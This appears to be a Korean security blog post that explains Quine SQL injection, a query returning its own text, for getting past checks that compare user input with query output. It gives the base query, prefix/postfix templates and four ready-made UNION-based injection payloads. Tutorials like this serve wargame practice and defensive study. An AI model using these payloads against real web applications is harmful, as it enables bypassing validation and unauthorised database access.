상세 컨텐츠

본문 제목

[SQLi] Quine SQL Injection

기술보안/Web

by about_SC 2019. 8. 20. 17:25

본문

Quine SQL Injction 이란?

:
위키백과에 따르면,
Quine은 소스코드를 그대로 출력으로 반환하는 프로그램을 의미한다.

즉, Quine SQL Injection은 입력 값을 그대로 결과 값으로 반환하는 SQL Injection의 형태를 의미한다.

 


Quine SQL Query

:
아래의 쿼리는 Quine SQL Injection이 가능한 샘플 쿼리이다.

SELECT REPLACE(REPLACE('SELECT REPLACE(REPLACE("$",CHAR(34),CHAR(39)),CHAR(36),"$") AS Quine',CHAR(34),CHAR(39)),CHAR(36),'SELECT REPLACE(REPLACE("$",CHAR(34),CHAR(39)),CHAR(36),"$") AS Quine') AS Quine;


이를 실행해보면, 내가 실행한 쿼리와 결과 값이 동일하게 출력되게 된다.


해당 쿼리에서 필수적으로 필요한 부분만 정리하면 아래와 같다.

select replace(replace('select replace(replace("$",char(34),char(39)),char(36),"$")',char(34),char(39)),char(36),'select replace(replace("$",char(34),char(39)),char(36),"$")');


이러한 특성을 SQL Injection에서 응용할 수 있다.
사용자 입력을 통해 단순 전달된 값과 쿼리의 결과 값이 동일한지 확인하는 검증로직이 존재할 때
이를 사용하면 우회가 가능하게 된다.

 

Summary

:
아래의 쿼리에서 필요에 따라 [prefix]와 [postfix] 부분에 자유롭게 부가문장을 삽입할 수 있다.
replace 함수에 의해 더블쿼트가 싱글쿼트로 변환된다는 것에 주의하자.

# 싱글쿼트가 필요한 경우
select replace(replace('[prefix] select replace(replace("$",char(34),char(39)),char(36),"$") [postfix]',char(34),char(39)),char(36),'[prefix] select replace(replace("$",char(34),char(39)),char(36),"$") [postfix]') [postfix];

# 더블쿼트가 필요한 경우
select replace(replace("[prefix] select replace(replace('$',char(39),char(34)),char(36),'$') [postfix]",char(39),char(34)),char(36),"[prefix] select replace(replace('$',char(39),char(34)),char(36),'$') [postfix]") [postfix];

 


Sample Code

:

prefix : a' union / postfix : -- -
a' union select replace(replace('a" union select replace(replace("$",char(34),char(39)),char(36),"$") as quine-- -',char(34),char(39)),char(36),'a" union select replace(replace("$",char(34),char(39)),char(36),"$") as quine-- -') as quine;

prefix : 0 union / postfix : #
0 union select replace(replace('0 union select replace(replace("$",char(34),char(39)),char(36),"$") as quine#',char(34),char(39)),char(36),'0 union select replace(replace("$",char(34),char(39)),char(36),"$") as quine#') as quine#;

prefix : a" union / postfix : #
a" union select replace(replace("a' union select replace(replace('$',char(39),char(34)),char(36),'$') #",char(39),char(34)),char(36),"a' union select replace(replace('$',char(39),char(34)),char(36),'$') #") #

prefix : a" union / postfix : -- -
a" union select replace(replace("a' union select replace(replace('$',char(39),char(34)),char(36),'$') -- -",char(39),char(34)),char(36),"a' union select replace(replace('$',char(39),char(34)),char(36),'$') -- -") -- -

 


Reference

:
Rubiya(secuinside.com)
cc0ma blog
p.osix.kr

'기술보안 > Web' 카테고리의 다른 글

[LOS] godzilla  (0) 2019.11.10
[LOS] cthulhu_modsecurity(Version 3.1.0_201905) bypass SQLi  (0) 2019.09.25
[WEB] 503 error  (0) 2019.07.25
[WEB] Blind SQL Injection with ldap, bin, ord  (0) 2019.07.18
[DB] SQLite SQL Injection and Payload  (0) 2019.07.12

관련글 더보기